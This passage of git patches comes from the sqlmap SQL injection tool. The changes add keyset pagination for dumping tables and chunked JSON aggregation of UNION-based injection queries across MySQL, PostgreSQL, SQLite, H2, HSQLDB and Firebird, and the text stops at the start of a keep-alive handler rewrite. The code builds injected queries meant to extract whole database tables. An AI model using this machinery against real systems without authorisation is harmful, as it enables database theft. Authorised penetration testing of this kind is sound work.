agent.whereQuery(blind.keyset_ordered % (field, tableRef, condition, orderExpr)) + value = unArrayizeValue(inject.getValue(query)) + tup.append(None if isNoneValue(value) else safechardecode(value)) + + if all(isNoneValue(_) for _ in tup): + break + + if prev is not None and tup == prev: + singleTimeWarnMessage("keyset cursor stopped advancing prematurely") + break + + prev = tup + seen += 1 + + if seen <= startSkip: + continue + + equals = " AND ".join("%s=%s" % (field, _lit(value)) for field, value in zip(fields, tup)) + + for column in colList: + if column in cursorCols: + colValue = tup[cursorCols.index(column)] + else: + query = agent.whereQuery(blind.keyset_where % (agent.preprocessField(tbl, column), tableRef, equals)) + colValue = unArrayizeValue(inject.getValue(query, dump=True)) + + colValue = "" if isNoneValue(colValue) else colValue + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colValue), getUnicode(colValue)))) + entries[column].append(colValue) + + produced += 1 + +def keysetDumpTable(tbl, colList, count, cursor): + """ + Dumps a table one row at a time using keyset (seek) pagination on 'cursor' (a list of + one or more indexed key columns): the next row is reached with a >/row-value comparison + against the previous cursor (index range scan) and every other column is fetched with an + exact equality on the cursor (index point seek), so no row is skipped via OFFSET and no + per-row ORDER BY filesort is needed. A deep --start uses a single OFFSET "seed" jump + (single-column cursors), after which the walk is pure keyset. + """ + + tableRef = _tableRef(tbl) + lengths = {} + entries = {} + + for column in colList: + lengths[column] = 0 + entries[column] = BigArray() + + if len(cursor) == 1: + _dumpSingle(tbl, colList, count, cursor[0], tableRef, entries, lengths) + else: + _dumpComposite(tbl, colList, count, cursor, tableRef, entries, lengths) + + debugMsg = "keyset pagination retrieved %d row(s) for table '%s'" % (len(entries[colList[0]]) if colList and colList[0] in entries else 0, unsafeSQLIdentificatorNaming(tbl)) + logger.debug(debugMsg) + + return entries, lengths diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index d1f3b9eecfd..b1a10adf2f1 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -14,6 +14,7 @@ from lib.core.common import getSafeExString from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue +from lib.core.common import prioritySortColumns from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming @@ -29,7 +30,6 @@ from lib.core.enums import EXPECTED from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNoneDataException -from lib.core.settings import MAX_INT from lib.core.settings import NULL from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.unescaper import unescaper @@ -71,7 +71,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): lengths[column] = 0 entries[column] = BigArray() - colList = filterNone(sorted(colList, key=lambda x: len(x) if x else MAX_INT)) + colList = prioritySortColumns(filterNone(colList)) if conf.pivotColumn: for _ in colList: diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 0c6f3ea4f9c..91781477951 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -42,12 +42,15 @@ from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import CURRENT_DB +from lib.core.settings import KEYSET_MIN_ROWS from lib.core.settings import METADB_SUFFIX from lib.core.settings import NULL from lib.core.settings import PLUS_ONE_DBMSES from lib.core.settings import UPPER_CASE_DBMSES from lib.request import inject from lib.utils.hash import attackDumpedTable +from lib.utils.keysetdump import keysetDumpTable +from lib.utils.keysetdump import resolveKeysetCursor from lib.utils.pivotdumptable import pivotDumpTable from thirdparty import six from thirdparty.six.moves import zip as _zip @@ -309,6 +312,9 @@ def dumpTable(self, foundData=None): count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + # keyset (seek) pagination: forced with --keyset, automatic for large tables, off with --no-keyset + keysetCursor = resolveKeysetCursor(tbl, colList) if (not conf.noKeyset and isNumPosStrValue(count) and (conf.keyset or int(count) >= KEYSET_MIN_ROWS)) else None + lengths = {} entries = {} @@ -332,6 +338,19 @@ def dumpTable(self, foundData=None): continue + elif keysetCursor: + infoMsg = "using keyset (seek) pagination on column(s) '%s' " % ', '.join(keysetCursor) + infoMsg += "for table '%s'" % unsafeSQLIdentificatorNaming(tbl) + logger.info(infoMsg) + + try: + entries, lengths = keysetDumpTable(tbl, colList, count, keysetCursor) + except KeyboardInterrupt: + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warning(warnMsg) + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI, DBMS.RAIMA): if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.RAIMA): table = tbl @@ -411,17 +430,17 @@ def dumpTable(self, foundData=None): entries[column] = BigArray() if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, prioritySortColumns(colList)[0], index) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), sorted(colList, key=len)[0], index) + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), prioritySortColumns(colList)[0], index) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): - query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0]) + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, prioritySortColumns(colList)[0]) elif Backend.isDbms(DBMS.FRONTBASE): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl) else: From 35fefc3b65a23519a76de873a5a5e5edc87af095 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 20 Jun 2026 02:28:21 +0200 Subject: [PATCH 586/853] Improvements for JSON_AGG retrieval --- data/txt/sha256sums.txt | 8 ++-- lib/core/option.py | 1 + lib/core/settings.py | 5 ++- lib/request/connect.py | 3 ++ lib/techniques/union/use.py | 74 ++++++++++++++++++++++++++++++++++++- 5 files changed, 84 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 8dc1cb6228c..691b33f2133 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -182,14 +182,14 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 31690232f12d0590c8cbea7245ded86875f63c078da99673af4ab7451f0fffcb lib/core/optiondict.py -21b6868afc4570c9d2265427b7ea5fe8ac2e062ead3760ca3494208fde5f5e52 lib/core/option.py +7357efadb3fc8305a1b2a0b1be1915099c5c87bdbe1e95fafcd008043a58039d lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -8411f42e10133c779cff837c6e51698cfebe0796f93ca9e3575a5644d64a3e04 lib/core/settings.py +f75f15165173becddf439996a85f011262178e1bf5d2d2bf8028455b7ff3ff94 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -212,7 +212,7 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site 369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 390cc4882ba9c76e16a5376ba6d856079e7cb47a3e4ee11925139e637ce05050 lib/request/comparison.py -ec14b5139cd6b03aa167a7b91fab913baf042d4370471390c13eed325eeb245f lib/request/connect.py +b9e2db44d265909792f6cc821ff910727b14aa2d5063c74b0f2ea6d40c4f3d9d lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dns.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py @@ -241,7 +241,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py -9d916ad5d61f9ce467a5ff4b416e61b8ad76d1d950fdd06f23f70a6f7f941a1c lib/techniques/union/use.py +3f834b877f0fb684e402d07af1d8a7c7d0cdb4c0a3f9f15fe8488a08d88db4f2 lib/techniques/union/use.py aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py diff --git a/lib/core/option.py b/lib/core/option.py index 53163bc8ed0..0b817422ed2 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2146,6 +2146,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.hintValue = "" kb.htmlFp = [] kb.huffmanModel = {} + kb.respTruncated = False kb.huffmanValidated = False kb.disableHuffman = False kb.huffmanProbes = 0 diff --git a/lib/core/settings.py b/lib/core/settings.py index d1a9cbae967..3b7f93206e8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.130" +VERSION = "1.10.6.131" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -226,6 +226,9 @@ # In case of missing piece of partial union dump, buffered array must be flushed after certain size MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 +# Initial number of rows aggregated per request when a full (single-shot) JSON-agg UNION dump is too large and falls back to chunked windowed aggregation (halved adaptively if a chunk response still gets truncated) +JSON_AGG_CHUNK_ROWS = 1000 + # Maximum size of cache used in @cachedmethod decorator MAX_CACHE_ITEMS = 1024 diff --git a/lib/request/connect.py b/lib/request/connect.py index b66c0530cf0..daa2a66ee9d 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -229,6 +229,7 @@ def _retryProxy(**kwargs): @staticmethod def _connReadProxy(conn): parts = [] + kb.respTruncated = False if not kb.dnsMode and conn: headers = conn.info() @@ -255,6 +256,7 @@ def _connReadProxy(conn): singleTimeWarnMessage(warnMsg) part = re.sub(getBytes(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start)), getBytes("%s%s%s" % (kb.chars.stop, LARGE_READ_TRIM_MARKER, kb.chars.start)), part) parts.append(part) + kb.respTruncated = True # response exceeded the read cap and was trimmed (signal for chunked UNION dumping) else: parts.append(part) break @@ -262,6 +264,7 @@ def _connReadProxy(conn): if sum(len(_) for _ in parts) > MAX_CONNECTION_TOTAL_SIZE: warnMsg = "too large response detected. Automatically trimming it" singleTimeWarnMessage(warnMsg) + kb.respTruncated = True break if conf.yuge: diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 46f06876108..418cd34ee94 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -50,6 +50,7 @@ from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapSyntaxException +from lib.core.settings import JSON_AGG_CHUNK_ROWS from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH from lib.core.settings import NULL from lib.core.settings import SQL_SCALAR_REGEX @@ -129,7 +130,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = None else: retVal = getUnicode(retVal) - elif Backend.isDbms(DBMS.PGSQL): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD): output = extractRegexResult(r"(?P%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) if output: retVal = output @@ -150,6 +151,14 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): if retVal: break + + # Detect a single-shot aggregate that was too large to return whole, so the caller can + # switch to chunked (windowed) aggregation: either the response carries the leading + # marker but no trailing one (cut mid-aggregate by sqlmap's cap and/or a silent DBMS + # truncation, regardless of compression), or the DBMS refused it outright with a packet + # size error (e.g. MySQL "Result of json_arrayagg() was larger than max_allowed_packet"). + if retVal is None and page and ((kb.chars.start in page and kb.chars.stop not in page) or "max_allowed_packet" in page): + kb.respTruncated = True else: # Parse the returned page to get the exact UNION-based # SQL injection output @@ -237,6 +246,55 @@ def _configUnionCols(columns): _configUnionChar(char) _configUnionCols(conf.uCols or columns) +def _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, count): + """ + Fallback for when a full (single-shot) JSON-agg UNION table dump is too large to be returned + whole (DBMS packet limit / sqlmap response cap). Instead of dropping to the slow per-row UNION + path, rows are aggregated in bounded windows of K rows per request (JSON_ARRAYAGG over a + LIMIT-windowed subquery), keeping near full-UNION throughput while staying well under the + caps. K is halved adaptively if a chunk response still gets truncated. Returns a BigArray of + rows, or None to let the caller fall back to the regular per-row UNION path. + + NOTE: MySQL only for now (windowed 'LIMIT offset,K' + JSON_ARRAYAGG); other DBMSes return None. + """ + if not Backend.isDbms(DBMS.MYSQL) or not expressionFields or not expressionFieldsList: + return None + + # a stable total ordering (all output columns) so the LIMIT/OFFSET windows never overlap or drop rows + base = re.sub(r"(?i)\s+ORDER BY\s+.+\Z", "", expression) + orderBy = "ORDER BY %s" % ','.join(str(_ + 1) for _ in range(len(expressionFieldsList))) + aggFields = "CONCAT_WS('%s',%s)" % (kb.chars.delimiter, ','.join(agent.nullAndCastField(_) for _ in expressionFieldsList)) + + debugMsg = "single-shot UNION dump output was too large; switching to " + debugMsg += "chunked (windowed) JSON aggregation of %d entries" % count + singleTimeDebugMessage(debugMsg) + + retVal = BigArray() + chunk = JSON_AGG_CHUNK_ROWS + offset = 0 + + while offset < count: + inner = "%s %s LIMIT %d,%d" % (base, orderBy, offset, chunk) + query = "SELECT CONCAT('%s',JSON_ARRAYAGG(%s),'%s') FROM (%s) AS sqmapx" % (kb.chars.start, aggFields, kb.chars.stop, inner) + + kb.jsonAggMode = True + output = _oneShotUnionUse(query, False) + kb.jsonAggMode = False + + if kb.respTruncated and chunk > 1: + chunk = max(1, chunk // 2) # a single chunk is still too big -> shrink and retry same window + continue + + rows = parseUnionPage(output) + + if rows is None: + return None # unexpected failure -> let the caller fall back to the per-row path + + retVal.extend(arrayizeValue(rows)) + offset += chunk + + return retVal + def unionUse(expression, unpack=True, dump=False): """ This function tests for an UNION SQL injection on the target @@ -268,7 +326,7 @@ def unionUse(expression, unpack=True, dump=False): debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)): match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I) if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression): kb.jsonAggMode = True @@ -282,6 +340,10 @@ def unionUse(expression, unpack=True, dump=False): query = expression.replace(expressionFields, "STRING_AGG('%s'||%s||'%s','')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) elif Backend.isDbms(DBMS.MSSQL): query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop) + elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.HSQLDB): + query = expression.replace(expressionFields, "GROUP_CONCAT('%s'||%s||'%s' SEPARATOR '')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1) + elif Backend.isDbms(DBMS.FIREBIRD): + query = expression.replace(expressionFields, "LIST('%s'||%s||'%s','')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1) output = _oneShotUnionUse(query, False) value = parseUnionPage(output) kb.jsonAggMode = False @@ -336,6 +398,14 @@ def unionUse(expression, unpack=True, dump=False): return value if isNumPosStrValue(count) and int(count) > 1: + # The single-shot full UNION dump failed and the table is large (or its oversized + # response was detected as truncated): retrieve the rows in bounded windows via + # chunked JSON aggregation (K rows/request) instead of the slow per-row path below. + if Backend.isDbms(DBMS.MYSQL) and not any((kb.forcePartialUnion, conf.forcePartial, conf.disableJson, conf.binaryFields, conf.limitStart, conf.limitStop)) and (int(count) >= JSON_AGG_CHUNK_ROWS or kb.respTruncated): + chunked = _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, int(count)) + if chunked is not None: + return chunked + threadData = getCurrentThreadData() try: From e1aac02ef2ca017e2dc5f4be8883db59d039295a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 20 Jun 2026 02:56:24 +0200 Subject: [PATCH 587/853] More improvements for JSON_AGG retrieval --- data/txt/sha256sums.txt | 4 +-- lib/core/settings.py | 2 +- lib/techniques/union/use.py | 51 +++++++++++++++++++++++++++---------- 3 files changed, 41 insertions(+), 16 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 691b33f2133..b72a8e908fc 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -f75f15165173becddf439996a85f011262178e1bf5d2d2bf8028455b7ff3ff94 lib/core/settings.py +f79f96c5f073b663cc494c57b9641dc41e7ed13a28d5cec62bb9ca8904110d9c lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -241,7 +241,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py -3f834b877f0fb684e402d07af1d8a7c7d0cdb4c0a3f9f15fe8488a08d88db4f2 lib/techniques/union/use.py +c65766f71e285fc85cdf58e7448c4c1d015af2a9dbb44fa3b665a9f13362fbcc lib/techniques/union/use.py aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 3b7f93206e8..451a0bc623d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.131" +VERSION = "1.10.6.132" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 418cd34ee94..dc85170962e 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -255,15 +255,37 @@ def _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, count caps. K is halved adaptively if a chunk response still gets truncated. Returns a BigArray of rows, or None to let the caller fall back to the regular per-row UNION path. - NOTE: MySQL only for now (windowed 'LIMIT offset,K' + JSON_ARRAYAGG); other DBMSes return None. + Same DBMS coverage as the single-shot JSON-agg (per-DBMS aggregate + windowing); others -> None. """ - if not Backend.isDbms(DBMS.MYSQL) or not expressionFields or not expressionFieldsList: + dbms = Backend.getIdentifiedDbms() + + if dbms not in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) or not expressionFields or not expressionFieldsList: return None + start, stop, delimiter = kb.chars.start, kb.chars.stop, kb.chars.delimiter + # a stable total ordering (all output columns) so the LIMIT/OFFSET windows never overlap or drop rows base = re.sub(r"(?i)\s+ORDER BY\s+.+\Z", "", expression) orderBy = "ORDER BY %s" % ','.join(str(_ + 1) for _ in range(len(expressionFieldsList))) - aggFields = "CONCAT_WS('%s',%s)" % (kb.chars.delimiter, ','.join(agent.nullAndCastField(_) for _ in expressionFieldsList)) + nulled = [agent.nullAndCastField(_) for _ in expressionFieldsList] + + # per-DBMS: aggregate-over-windowed-columns expression (mirrors the single-shot branches) plus + # the "K rows at offset" window clause appended to the inner derived table + if dbms == DBMS.MYSQL: + aggExpr = "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (start, delimiter, ','.join(nulled), stop) + window = lambda o, k: "%s LIMIT %d,%d" % (orderBy, o, k) + elif dbms == DBMS.PGSQL: + aggExpr = "STRING_AGG('%s'||%s||'%s','')" % (start, ("||'%s'||" % delimiter).join("COALESCE(%s::text,' ')" % _ for _ in expressionFieldsList), stop) + window = lambda o, k: "%s LIMIT %d OFFSET %d" % (orderBy, k, o) + elif dbms == DBMS.SQLITE: + aggExpr = "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (start, ("||'%s'||" % delimiter).join("COALESCE(%s,' ')" % _ for _ in expressionFieldsList), stop) + window = lambda o, k: "%s LIMIT %d OFFSET %d" % (orderBy, k, o) + elif dbms in (DBMS.H2, DBMS.HSQLDB): + aggExpr = "GROUP_CONCAT('%s'||%s||'%s' SEPARATOR '')" % (start, ("||'%s'||" % delimiter).join(nulled), stop) + window = lambda o, k: "%s LIMIT %d OFFSET %d" % (orderBy, k, o) + elif dbms == DBMS.FIREBIRD: + aggExpr = "LIST('%s'||%s||'%s','')" % (start, ("||'%s'||" % delimiter).join(nulled), stop) + window = lambda o, k: "%s ROWS %d TO %d" % (orderBy, o + 1, o + k) debugMsg = "single-shot UNION dump output was too large; switching to " debugMsg += "chunked (windowed) JSON aggregation of %d entries" % count @@ -274,8 +296,7 @@ def _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, count offset = 0 while offset < count: - inner = "%s %s LIMIT %d,%d" % (base, orderBy, offset, chunk) - query = "SELECT CONCAT('%s',JSON_ARRAYAGG(%s),'%s') FROM (%s) AS sqmapx" % (kb.chars.start, aggFields, kb.chars.stop, inner) + query = "SELECT %s FROM (%s %s) sqmapx" % (aggExpr, base, window(offset, chunk)) kb.jsonAggMode = True output = _oneShotUnionUse(query, False) @@ -348,6 +369,18 @@ def unionUse(expression, unpack=True, dump=False): value = parseUnionPage(output) kb.jsonAggMode = False + # If the single-shot aggregate failed (typically too large for the DBMS packet limit / + # response cap) and the table is large, retrieve the rows in bounded windows (chunked + # JSON aggregation) before the slow per-row fallback. Done here (independent of the + # detected UNION where-clause) so it engages for any dumpable FROM-table query. + if value is None and " FROM " in expression.upper() and not re.search(SQL_SCALAR_REGEX, expression, re.I) and not any((kb.forcePartialUnion, conf.forcePartial, conf.disableJson, conf.binaryFields, conf.limitStart, conf.limitStop)): + chunkCountExpr = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1) + if " ORDER BY " in chunkCountExpr.upper(): + chunkCountExpr = chunkCountExpr[:chunkCountExpr.upper().rindex(" ORDER BY ")] + chunkCount = unArrayizeValue(parseUnionPage(_oneShotUnionUse(chunkCountExpr, unpack))) + if isNumPosStrValue(chunkCount) and (int(chunkCount) >= JSON_AGG_CHUNK_ROWS or kb.respTruncated): + value = _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, int(chunkCount)) + # We have to check if the SQL query might return multiple entries # if the technique is partial UNION query and in such case forge the # SQL limiting the query output one entry at a time @@ -398,14 +431,6 @@ def unionUse(expression, unpack=True, dump=False): return value if isNumPosStrValue(count) and int(count) > 1: - # The single-shot full UNION dump failed and the table is large (or its oversized - # response was detected as truncated): retrieve the rows in bounded windows via - # chunked JSON aggregation (K rows/request) instead of the slow per-row path below. - if Backend.isDbms(DBMS.MYSQL) and not any((kb.forcePartialUnion, conf.forcePartial, conf.disableJson, conf.binaryFields, conf.limitStart, conf.limitStop)) and (int(count) >= JSON_AGG_CHUNK_ROWS or kb.respTruncated): - chunked = _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, int(count)) - if chunked is not None: - return chunked - threadData = getCurrentThreadData() try: From 6d306ba50daba68646254eedb8ea5c3224ee1995 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 21 Jun 2026 00:39:33 +0200 Subject: [PATCH 588/853] Rewritten the improved keep-alive handler --- data/txt/sha256sums.txt | 11 +- doc/ARCHITECTURE.md | 4 +- doc/THIRD-PARTY.md | 2 - lib/core/option.py | 11 +- lib/core/settings.py | 8 +- lib/request/keepalive.py | 266 ++++++++++++ thirdparty/keepalive/__init__.py | 19 - thirdparty/keepalive/keepalive.py | 671 ------------------------------ 8 files changed, 289 insertions(+), 703 deletions(-) create mode 100644 lib/request/keepalive.py delete mode 100644 thirdparty/keepalive/__init__.py delete mode 100644 thirdparty/keepalive/keepalive.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b72a8e908fc..078df0a9ab8 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -85,11 +85,11 @@ a65b6e29389b1543f54da6aced3ca4abdcd68cb626ceefc61fb9985bda692251 data/xml/paylo 